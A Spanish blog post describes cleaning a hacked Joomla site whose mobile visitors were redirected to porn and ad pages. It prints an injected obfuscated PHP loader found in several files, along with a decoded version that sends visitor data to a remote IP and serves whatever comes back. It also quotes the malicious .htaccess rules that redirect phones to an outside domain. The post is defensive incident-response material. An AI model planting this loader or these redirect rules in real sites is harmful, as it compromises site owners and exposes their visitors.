Recientemente, nos han reportado un error en una página web creada con Joomla que, al parecer, funcionaba sin problemas cuando se visita usando un ordenador pero que, cuando se abre con un dispositivo móvil, redirecciona al usuario a páginas porno, publicitarias o de descarga de software ilícito.

Dada la larga lista de vulnerabilidades que tiene este script, no nos ha extrañado lo más mínimo la posibilidad de encontrarnos con algún ilícito en el sitio web, pero claro, nos requieren investigar la situación con objeto de solucionar el problema con la mayor brevedad posible.

Pasando el antivirus CLAMAV desde cPanel

Una de las grandes ventajas del panel de control cPanel es la integración sencilla e intuitiva del antivirus CLAMAV de linux, que permite ser ejecutado y escanear distintas zonas accesibles para el usuario desde el propio panel de control. La primera opción que ejecutamos es esta, de tal modo que podamos minimizar o eliminar los scripts o programas ilegales, troyanos o virus que nos puedan haber instalado aprovechando alguna vulnerabilidad.

En el caso que nos ocupa no hay resultado positivo, con lo que nos corresponde continuar con la investigación del caso.

Comprobando redireccionamientos, registros A, CNAME, MX en el servidor de nombres

Después del antivirus debemos observar si existe algún redireccionamiento o apunte A incorrecto en el servidor de nombres en el que se delega la resolución de la zona. Una vez más, los registros están correctos y no hay ningún redireccionamiento o subdominio extraño en el servidor DNS.

Administrador/Gestor de archivos usando cPanel

Una vez más, cPanel es nuestro amigo.

Abrimos el gestor de archivos amigable del mismo y observamos la lista de archivos PHP y TXT que corresponden con la instalación de Joomla de nuestro cliente.

Lo primero que llama la atención es que existen varios archivos con exactamente el mismo tamaño y modificados exactamente a la misma hora y día. Se trata de archivos que pueden o no ser extensiones o formar parte de la raíz del Joomla.

Puesto que la web no es un diseño nuestro y no tenemos controladas las extensiones, plantillas, módulos o plugins que se han podido añadir al paquete por defecto, decidimos no borrar sino controlar el contenido de estos archivos.

En todos ellos localizamos una secuencia en PHP CODE Base64. Este tipo de codificación se usa, básicamente, para que el usuario profano no sepa si puede borrar o alterar su contenido sin que su web dé problemas y, además, evitar que controle qué acciones realiza su ejecución.

El código encontrado es el siguiente (se ha alterado para evitar su uso ilícito):

[...]${"G\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x6f\x73oj\x64\x6cyk"]="\x75r\x69";${"\x47\x4c\x4fB\x41\x4c\x53"}["s\x72g\x68\x7a\x62\x74\x67h\x6d\x6bw"]="d\x75m\x6d\x79\x5f\x70ag\x65";${"\x47LO\x42\x41L\x53"}["\x6fh\x62\x74qy\x75\x6d\x78"]="\x66i\x6c\x65\x6eam\x65";${"\x47\x4c\x4f\x42A\x4cS"}["w\x6d\x6bv\x69x"]="\x63\x6fnt\x65xt";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65\x75\x6a\x73\x6a\x74\x67\x73"]="\x63\x6f\x6e\x74\x65\x6e\x74";${"\x47LOB\x41\x4cS"}["\x61\x6b\x63\x6a\x66\x6a\x62\x[...]\x4fB\x41\x4c\x53"}["\x77\x6cx\x74sa\x62xv\x6dq\x76"]="\x75\x72\x6c";${"\x47\x4cOBAL\x53"}["\x79\x79t\x75\x78\x73q\x75\x6a\x71\x77"]="\x63ont\x65nt";${"\x47L\x4f\x42A\x4c\x53"}["n\x78f\x7a\x77\x6dm"]="\x6c\x65\x74ter";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x73\x72\x75c\x75\x76r\x6a"]="\x6b\x65y";${"\x47LOBA\x4c\x53"}["\x63\x76\x6e\x7a\x6d\x68\x66\x64\x66"]="\x71u\x65\x72y";${"G\x4c\x4fB\x41\x4c\x53"}["\x6e\x78wx\x7a\x66c\x72"]="\x6be\x79";${"G\x4cOB\x41\x4cS"}["\x6ap\x73m\x6de\x66y\x73hy\x68"]="p\x6frt";$xjfbkll="\x6be\x79";error_reporting(0);$odqqblxqoxm="\x63o\x6e\x74\x65\x78\x74";${"\x47L\x4f\x42A\x4c\x53"}["aa\x62m\x67\x6d"]="\x69\x70";${"\x47\x4c\x4fBA\x4c\x53"}["\x69lr\x72\x6d\x7a\x68ke\x77"]="\x6b\x65\x79";$ivfkgtucgn="i";$vswtkng="\x70a\x74h";${"\x47\x4c\x4f\x42AL\x53"}["\x64q\x74\x77c\x63\x63\x62\x70\x6e\x6ao"]="\x6be\x79";ini_set("d\x69\x73\x70lay_\x65rro\x72s",0);${${"\x47L\x4fB\x41\x4c\x53"}["a\x61\x62\x6d\x67m"]}="\x38\x39.4\x38\x2e\x311\x2e3\x33";${${"GL\x4f\x42\x41\x4c\x53"}["\x6a\x70\x73\x6dm\x65\x66\x79s\x68\x79h"]}="\x38\x30";$ncrddkkekmt="\x63\x6fn\x74\x65nt";${$vswtkng}="/r\x6a\x62vc\x78\x77\x72\x65/\x3456\x76c\x78\x67\x72\x74\x2ep\x68\x70";${${"\x47\x4c\x4fB\x41\x4c\x53"}["cv\x6ezm\x68\x66\x64\x66"]}=Array();${${"G\x4cOBA\x4c\x53"}["c\x76n\x7a\x6d\x68fd\x66"]}["i"]=get_ip();${${"\x47\x4c\x4[...]y\x76d\x72"]="\x69";${"\x47L\x4f\x42ALS"}["\x68\x73tf\x6a\x6b\x68e\x6eh\x6a\x73"]="\x6c\x65\x74\x74\x65\x72";${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x73ruc\x75\x76r\x6a"]}+=ord(${${"\x47L\x4f\x42\x41\x4c\x53"}["hs\x74f\x6a\x6b\x68e\x6e\x68js"]});${${"G\x4c\x4f\x42ALS"}["\x76\x71\x6c\x79vdr"]}++;}$dloxfdsfcy="co\x6e\x74\x65\x6e\x74";${$xjfbkll}<<=2;${${"\x47L\x4f\x42\x41L\x53"}["is\x72\x75\x63uvr\x6a"]}^=${${"\x47L\x4f\x42AL\x53"}["i\x73ru\x63\x75\x76\x72j"]};${${"\x47L\x4f\x42\x41\x4c\x53"}["nxwxzfc\x72"]}+=32;${${"GLOBA\x4c\x53"}["isru\x63uv\x72\x6a"]}=str_repeat(chr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x71\x74w\x63c\x63\x62\x70\x6e\x6a\x6f"]}),8);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6c\x78\x74\x73\x61\x62\x78\x76\x6dqv"]}="\x68\x74\x74p://".long2ip(1489383561^(ord(${${"\x47L\x4f\x42\x41L\x53"}["\x69\x73\x72u\x63\x75\x76r\x6a"]}[0])+ord(${${"\x47\x4c\x4f\x42ALS"}["ilr\x72\x6d\x7a\x68\x6b\x65\x77"]}[1])+(strstr(substr($_SERVER["R\x45QUES\x54_\x55R\x49"],-4),".\x70hp")==FALSE?6:ip2long(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["a\x69h\x6ekv\x73\x75\x63l"]})))).":".${${"GLOBA\x4c\x53"}["jp\x73\x6dme\x66\x79\x73\x68\x79h"]}.${${"GLO\x42\x41\x4c\x53"}["\x61\x6b\x63\x6af\x6abj\x79\x70"]};${${"\x47\x4c\x4f\x42ALS"}["\x65\x75j\x73\x6atg\x73"]}=@file_get_contents(${${"\x47\x4cOB\x41L\x53"}["\x77lx\x74s\x61\x62\x78\x76\x6d\x71\x76"]},FALSE,${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x6d\x6bvix"]});if(strlen(${${"G\x4c\x4fB\x41\x4cS"}["\x79y\x74\x75x\x73\x71\x75\x6a\x71\x77"]})<10){error_404();}${${"\x47\x4c\x4f\x42\x41\x4cS"}["m\x6f\x62\x62\x77\x76\x79\x70\x79dt"]}=explode("\n",${$ncrddkkekmt});${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x76\x68f\x6d\x6c\x64\x6a"]="\x66i\x6c\x65\x6e\x61\x6d\x65";${${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x76hf\x6dl\x64\x6a"]}=array_shift(${$dloxfdsfcy});$fcyjjimj="\x63o\x6e\x74\x65\x6e\x74";${$fcyjjimj}=implode("\n",${$ijzzedsgdklw});if(strstr(${${"\x47\x4cOBA\x4c\x53"}["\x6f\x68\x62\x74\x71\x79\x75\x6d\x78"]},".h\x74m\x6c")===FALSE){header("C\x6f\x6ete\x6e\x74-\x54yp\x65: app\x6ci\x63\x61t\x69o\x6e/oct\x65t-s\x74\x72\x65am");header("C\x6f\x6ete\x6et-D\x69\x73\x70o\x73\x69t\x69o\x6e: a\x74\x74\x61c\x68\x6de\x6e\x74\x3b\x20\x66ile\x6e\x61\x6d\x65=".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6fh\x62\x74\x71y\x75\x6dx"]});header("Co\x6e\x74ent-\x4c\x65ng\x74\x68:\x20".strlen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x75\x6a\x73jt\x67\x73"]}));}echo${${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x75\x6a\x73\x6at\x67\x73"]};exit();function get_ip(){$pypgxjqpc="\x6b\x65y";${"G\x4c\x4fB\x41L\x53"}["\x73\x71r\x77j\x64\x77\x63"]="\x69\x70_\x6b\x65\x79s";$ezmftbbuqw="i\x70_\x6bey\x73";${${"\x47\x4cOBA\x4cS"}["\x73q\x72\x77jd\x77c"]}=array("\x48\x54T\x50\x5fCF\x5f\x43\x4f\x4e\x[...]x44\x45D","\x48TTP\x5fX_\x43\x4cU\x53T\x45\x52\x5fCLI\x45\x4e\x54\x5fIP","HT\x54\x50\x5fFOR\x57\x41RDE\x44\x5fF\x4fR","HT\x54P_FORW\x41R\x44ED","\x52\x45M\x4f\x54E_\x41\x44D\x52");foreach(${$ezmftbbuqw} as${$pypgxjqpc}){if(array_key_exists(${${"\x47\x4c\x4fBA\x4c\x53"}["i\x73\x72u\x63u\x76rj"]},$_SERVER)===TRUE){${"\x47\x4cO\x42A\x4c\x53"}["rd\x64\x6dz\x63\x71\x74\x65s\x6e"]="\x6b\x65\x79";foreach(explode(",",$_SERVER[${${"GL\x4f\x42\x41LS"}["r\x64\x64m\x7a\x63q\x74\x65\x73n"]}])as${${"G\x4c\x4f\x42AL\x53"}["\x61\x69\x68\x6e\x6bv\x73\x75cl"]}){$mjcmqymm="\x69\x70";return trim(${$mjcmqymm});}}}return"\x3255.\x32\x355.\x325\x35\x2e2\x35\x35";}function error_404(){$bdbqhiy="c\x6f\x6e\x74en\x74";${"\x47\x4cOB\x41\x4cS"}["\x6be\x6cigpp"]="\x63\x6f\x6e\x74\x65nt";${"G\x4c\x4f\x42\x41L\x53"}["\x69q\x74ql\x66\x6e\x7a\x6f\x78"]="\x75ri";${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x6e\x6b\x6bww\x6a\x62"]="\x64u\[...]d();${$qncltymee}=@file_get_contents("\x68\x74\x74p://".$_SERVER["\x48\x54\x54P_\x48OST"].${${"G\x4c\x4f\x42A\x4c\x53"}["e\x6ek\x6bw\x77j\x62"]});${${"\x47\x4cO\x42AL\x53"}["\x65u\x6a\x73j\x74\x67s"]}=str_replace(${${"G\x4cO\x42\x41\x4cS"}["\x73\x72\x67\x68\x7a\x62\x74\x67\x68m\x6bw"]},${${"\x47\x4c\x4fBA\x4cS"}["k\x6b\x6fs\x6f\x6a\x64l\x79k"]},${${"GLO\x42\x41\x4c\x53"}["k\x65\x6c\x69\x67p\x70"]});exit(${$bdbqhiy});}

Tenéis la opción de codificar y decodificar el código desde esta web: https://www.base64decode.org/ o aquí http://ddecode.com/hexdecoder

El código descifrado es el siguiente:


${"GLOBALS"}["kkosojdlyk"]="uri";${"GLOBALS"}["srghzbtghmkw"]="dummy_page";${"GLOBALS"}["ohbtqyumx"]="filename";${"GLOBALS"}["wmkvix"]="context";${"GLOBALS"}["eujsjtgs"]="content";${"GLOBALS"}["akcjfjbjyp"]="path";$ijzzedsgdklw="content";${"GLOBALS"}["aihnkvsucl"]="ip";${"GLOBALS"}["wlxtsabxvmqv"]="url";${"GLOBALS"}["yytuxsqujqw"]="content";${"GLOBALS"}["nxfzwmm"]="letter";${"GLOBALS"}["isrucuvrj"]="key";${"GLOBALS"}["cvnzmhfdf"]="query";${"GLOBALS"}["nxwxzfcr"]="key";${"GLOBALS"}["jpsmmefyshyh"]="port";$xjfbkll="key";error_reporting(0);$odqqblxqoxm="context";${"GLOBALS"}["aabmgm"]="ip";${"GLOBALS"}["ilrrmzhkew"]="key";$ivfkgtucgn="i";$vswtkng="path";${"GLOBALS"}["dqtwcccbpnjo"]="key";ini_set("display_errors",0);${${"GLOBALS"}["aabmgm"]}="89.48.11.33";${${"GLOBALS"}["jpsmmefyshyh"]}="80";$ncrddkkekmt="content";${$vswtkng}="/rjbvcxwre/456vcxgrt.php";${${"GLOBALS"}["cvnzmhfdf"]}=Array();${${"GLOBALS"}["cvnzmhfdf"]}["i"]=get_ip();${${"GLOBALS"}["cvnzmhfdf"]}["p"]=@$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];${${"GLOBALS"}["cvnzmhfdf"]}["u"]=@$_SERVER["HTTP_USER_AGENT"];${${"GLOBALS"}["cvnzmhfdf"]}["a"]=@$_SERVER["HTTP_ACCEPT_LANGUAGE"];${${"GLOBALS"}["cvnzmhfdf"]}["r"]=@$_SERVER["HTTP_REFERER"];$ozvuxcduf="query";${"GLOBALS"}["mobbwvypydt"]="content";${$odqqblxqoxm}=stream_context_create(Array("http"=>Array("method"=>"POST","header"=>"Content-type: application/x-www-form-urlencoded","content"=>http_build_query(${$ozvuxcduf}))));${${"GLOBALS"}["isrucuvrj"]}=30535;${$ivfkgtucgn}=0;foreach(str_split($_SERVER["REQUEST_URI"])as${${"GLOBALS"}["nxfzwmm"]}){${"GLOBALS"}["vqlyvdr"]="i";${"GLOBALS"}["hstfjkhenhjs"]="letter";${${"GLOBALS"}["isrucuvrj"]}+=ord(${${"GLOBALS"}["hstfjkhenhjs"]});${${"GLOBALS"}["vqlyvdr"]}++;}$dloxfdsfcy="content";${$xjfbkll}<<=2;${${"GLOBALS"}["isrucuvrj"]}^=${${"GLOBALS"}["isrucuvrj"]};${${"GLOBALS"}["nxwxzfcr"]}+=32;${${"GLOBALS"}["isrucuvrj"]}=str_repeat(chr(${${"GLOBALS"}["dqtwcccbpnjo"]}),8);${${"GLOBALS"}["wlxtsabxvmqv"]}="http://".long2ip(1489383561^(ord(${${"GLOBALS"}["isrucuvrj"]}[0])+ord(${${"GLOBALS"}["ilrrmzhkew"]}[1])+(strstr(substr($_SERVER["REQUEST_URI"],-4),".php")==FALSE?6:ip2long(${${"GLOBALS"}["aihnkvsucl"]})))).":".${${"GLOBALS"}["jpsmmefyshyh"]}.${${"GLOBALS"}["akcjfjbjyp"]};${${"GLOBALS"}["eujsjtgs"]}=@file_get_contents(${${"GLOBALS"}["wlxtsabxvmqv"]},FALSE,${${"GLOBALS"}["wmkvix"]});if(strlen(${${"GLOBALS"}["yytuxsqujqw"]})<10){error_404();}${${"GLOBALS"}["mobbwvypydt"]}=explode("\n",${$ncrddkkekmt});${"GLOBALS"}["lvhfmldj"]="filename";${${"GLOBALS"}["lvhfmldj"]}=array_shift(${$dloxfdsfcy});$fcyjjimj="content";${$fcyjjimj}=implode("\n",${$ijzzedsgdklw});if(strstr(${${"GLOBALS"}["ohbtqyumx"]},".html")===FALSE){header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".${${"GLOBALS"}["ohbtqyumx"]});header("Content-Length: ".strlen(${${"GLOBALS"}["eujsjtgs"]}));}echo${${"GLOBALS"}["eujsjtgs"]};exit();function get_ip(){$pypgxjqpc="key";${"GLOBALS"}["sqrwjdwc"]="ip_keys";$ezmftbbuqw="ip_keys";${${"GLOBALS"}["sqrwjdwc"]}=array("HTTP_CF_CONNECTING_IP","HTTP_CLIENT_IP","HTTP_X_FORWARDED_FOR","HTTP_X_FORWARDED","HTTP_X_CLUSTER_CLIENT_IP","HTTP_FORWARDED_FOR","HTTP_FORWARDED","REMOTE_ADDR");foreach(${$ezmftbbuqw} as${$pypgxjqpc}){if(array_key_exists(${${"GLOBALS"}["isrucuvrj"]},$_SERVER)===TRUE){${"GLOBALS"}["rddmzcqtesn"]="key";foreach(explode(",",$_SERVER[${${"GLOBALS"}["rddmzcqtesn"]}])as${${"GLOBALS"}["aihnkvsucl"]}){$mjcmqymm="ip";return trim(${$mjcmqymm});}}}return"255.255.255.255";}function error_404(){$bdbqhiy="content";${"GLOBALS"}["keligpp"]="content";${"GLOBALS"}["iqtqlfnzox"]="uri";${"GLOBALS"}["enkkwwjb"]="dummy_page";header("HTTP/1.1 404 Not Found");$qncltymee="content";${${"GLOBALS"}["iqtqlfnzox"]}=preg_replace("/(\\?).*\$/","",$_SERVER["REQUEST_URI"]);${${"GLOBALS"}["srghzbtghmkw"]}="/".uniqid().uniqid();${$qncltymee}=@file_get_contents("http://".$_SERVER["HTTP_HOST"].${${"GLOBALS"}["enkkwwjb"]});${${"GLOBALS"}["eujsjtgs"]}=str_replace(${${"GLOBALS"}["srghzbtghmkw"]},${${"GLOBALS"}["kkosojdlyk"]},${${"GLOBALS"}["keligpp"]});exit(${$bdbqhiy});

Básicamente parece que añade valores a variables globales, añade cookies y solicita archivos en servidores remotos que pueden modificar el contenido de los directorios del joomla buscando comprometer la seguridad o controlar la máquina.

No nos hemos parado a observar qué datos se transmiten o reciben ya que el trabajo solicitado por el cliente sólo requería restaurar el correcto funcionamiento de su máquina, así que os dejamos a vosotros la opción de determinar qué hace ese código en un VPS.

Y, ahora, el redireccionamiento

Una vez eliminado el código de los archivos PHP comprometidos, pasamos a echar un vistazo a un archivo oculto llamado “.htaccess“.  Este archivo se utiliza para definir algunas directivas de configuración de directorio en linux y es muy utilizado con servidores WEB (Apache, nginx).

Entre esas directivas existe la opción de preparar redireccionamientos según el tipo de dispositivo al que se va a servir la página web.

Dentro del “.htaccess” de la web comprometida encontramos las líneas correspondientes con la configuración de joomla referentes a la navegación amigable, es decir, las que se encargan de traducir los “churros” de tipo “http://web.com/34423434?=3453jlksdjfdkfg” a “http://web.com/esta-es-mi-web” de modo automático así como las referentes a los directorios visitables y otras opciones de seguridad.

Las líneas concretas que comprometían esta web son las siguientes:

<pre>RewriteCond %{HTTP_ACCEPT}
"text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT}
"android|BlackBerry|htc|iPad|iPhone|iPod|kindle|lg|midp|mmp|mobile|mot|nokia|o2|opera
mini|J2ME" [NC,OR]
RewriteCond %{HTTP_USER_AGENT}
"palm|pocket|psp|sgh|smartphone|sonyericsson|symbian|treo
mini|up.browser|up.link|vodafone|wap" [NC]
RewriteCond %{HTTP_USER_AGENT} !Googlebot-Mobile [NC]
RewriteRule ^(.*)$ <a class="moz-txt-link-freetext" href="http://seokirja.com" data-mce-href="http://seokirja.com">http://seokirja.com</a> [L,R=302]</pre>

 

 

Con el “mod_rewrite” activado en Apache se ejecutan las líneas referidas. Las 3 líneas “rewritecond” centrales implican la detección del tipo de navegador que está leyendo la página. Como podéis observar, se trata de los relacionados con dispositivos móviles, en concreto teléfonos, de tal modo que cuando el usuario accede usando alguno de esos “USER_AGENT”, el sistema Apache redirige a la dirección “http://seokirja.com“, una web que envía al usuario a algún lugar aleatorio que suele ser una web pornográfica o similar.

Tan sólo tenemos que borrar esas líneas o añadir el símbolo “#” al principio de cada línea para desactivar ese redireccionamiento y conseguiremos que nuestra web vuelva a funcionar como corresponde.

Es importante revisar todos los directorios y archivos en busca de más código sospechoso y de scripts PHP que no deban existir en nuestra instalación. En nuestro caso ha sido relativamente fácil ya que apenas había 8 archivos y un único .htaccess fácil de leer.

Hemos tenido este tipo de problemas en otros servidores en los que se vieron afectados todos y cada uno de los archivos PHP de la instalación, lo que nos obligó a crear un script (que debe estar por aquí en algún sitio) que fuera leyendo los archivos uno a uno y borrando la codificación inyectada para dejarlos limpios.

Y nada más por hoy. Saludos!